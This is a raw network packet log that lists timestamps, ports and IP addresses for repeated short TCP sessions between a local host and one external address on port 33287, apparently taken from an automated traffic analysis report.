Sep 3, 2021 10:57:32.173360109 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.210481882 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.210515022 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.230978012 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.264657021 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.266545057 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.267098904 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.271446943 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.308092117 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.308412075 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.308442116 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.308517933 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.308578014 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.309298038 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.309356928 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.342778921 CEST	33287	49862	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.343440056 CEST	49862	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.417937994 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.454310894 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.454549074 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.455152035 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.491229057 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.491265059 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.491877079 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.527995110 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.529093027 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.529123068 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.536164999 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.575212955 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.575356007 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.575400114 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.575512886 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.576287031 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.576436043 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.576648951 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.612437963 CEST	33287	49863	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.612662077 CEST	49863	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.682820082 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.719682932 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.719844103 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.720680952 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.757144928 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.757440090 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.757586956 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.793422937 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.793648005 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.794351101 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.798393965 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.836452007 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.836484909 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.836496115 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.839843988 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.840924978 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.840961933 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.876802921 CEST	33287	49864	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.877032042 CEST	49864	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.948126078 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.984276056 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:32.984496117 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:32.985236883 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.027034998 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.027056932 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.031249046 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.068403006 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.072902918 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.088032007 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.088138103 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.124381065 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.124521971 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.124536991 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.127598047 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.129205942 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.129226923 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.170059919 CEST	33287	49865	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.170267105 CEST	49865	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.246900082 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.284049988 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.284228086 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.285227060 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.321208000 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.321232080 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.321315050 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.358520985 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.358642101 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.359397888 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.366048098 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.402650118 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.403019905 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.403042078 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.403182983 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.403213024 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.404238939 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.404261112 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.441828966 CEST	33287	49866	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.441900969 CEST	49866	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.510246038 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.548445940 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.549968004 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.551222086 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.587718964 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.587758064 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.587949991 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.624209881 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.624406099 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.625047922 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.629415989 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.668065071 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.668121099 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.668174982 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.669198990 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.669234037 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.669238091 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.707803011 CEST	33287	49867	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.709809065 CEST	49867	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.783627033 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.820005894 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.820278883 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.821392059 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.859282017 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.859309912 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.859453917 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.895298004 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.895405054 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.896115065 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.900446892 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.936192989 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.936681986 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.936702013 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.936784983 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.936834097 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.948887110 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.948945045 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:33.984766006 CEST	33287	49868	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:33.984860897 CEST	49868	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.059191942 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.095964909 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.096196890 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.097563028 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.136766911 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.136786938 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.138664961 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.175306082 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.176119089 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.176150084 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.180185080 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.213722944 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.216028929 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.216061115 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.222851038 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.224190950 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.225862026 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.257514000 CEST	33287	49869	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.258089066 CEST	49869	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.340862989 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.376885891 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.376996040 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.377552986 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.413336992 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.415633917 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.415724039 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.452277899 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.454150915 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.454865932 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.461699009 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.498578072 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.499007940 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.499026060 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.499080896 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.499130964 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.499910116 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.499963045 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.535662889 CEST	33287	49870	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.537290096 CEST	49870	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.603040934 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.635992050 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.636194944 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.637429953 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.670389891 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.670414925 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.670613050 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.703774929 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.704457998 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.704941988 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.708797932 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.741705894 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.742238045 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.742250919 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.744213104 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.744647026 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.745026112 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.777534008 CEST	33287	49871	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.778307915 CEST	49871	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.881788015 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:34.916532040 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:34.917256117 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.094799995 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.129267931 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.129290104 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.130429029 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.164625883 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.164769888 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.165446997 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.168894053 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.203241110 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.203563929 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.203583002 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.203715086 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.204314947 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.204338074 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.238367081 CEST	33287	49872	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.238538027 CEST	49872	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.307337999 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.341490984 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.341768980 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.342881918 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.376621962 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.376646996 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.376816988 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.410686016 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.411408901 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.411428928 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.415715933 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.493849993 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.493864059 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.493927002 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.494048119 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.494065046 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.498815060 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.498838902 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.520399094 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.520601034 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.532690048 CEST	33287	49873	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.533739090 CEST	49873	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.604820967 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.641891956 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.642191887 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.642904997 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.678617001 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.679644108 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.679884911 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.717705011 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.718000889 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.718874931 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.722372055 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.758713007 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.758779049 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.758796930 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.758867979 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.759603977 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.759627104 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.795428038 CEST	33287	49874	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.796760082 CEST	49874	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.884241104 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.918709993 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.919080973 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.920645952 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.957017899 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.957084894 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.959714890 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.992661953 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:35.992743969 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.994213104 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:35.996423960 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.029182911 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.029687881 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.029714108 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.029776096 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.029794931 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.030385971 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.030395031 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.073709011 CEST	33287	49875	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.073914051 CEST	49875	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.514848948 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.550877094 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.551062107 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.551834106 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.588599920 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.588984966 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.589131117 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.627302885 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.627459049 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.667504072 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.670758009 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.706851006 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.712189913 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.712222099 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.712328911 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.713357925 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.713382006 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.750619888 CEST	33287	49876	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.750768900 CEST	49876	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.822726965 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.857198954 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.858086109 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.859498024 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.893929958 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.893973112 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.894654989 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:36.929599047 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:36.930059910 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.024075985 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.099407911 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.741432905 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.775902033 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.777414083 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.777440071 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.777518034 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.777537107 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.784657001 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.784686089 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.818988085 CEST	33287	49877	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.819070101 CEST	49877	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.948579073 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.985769033 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:37.985934973 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:37.986538887 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:38.019176006 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:38.020849943 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:38.020984888 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:38.054508924 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:38.054622889 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:38.055644989 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:38.058527946 CEST	49878	33287	192.168.2.5	185.156.73.37
Sep 3, 2021 10:57:38.092359066 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:38.094284058 CEST	33287	49878	185.156.73.37	192.168.2.5
Sep 3, 2021 10:57:38.094302893 CEST	33287	49878	185.156.73.37	192.168.2.5
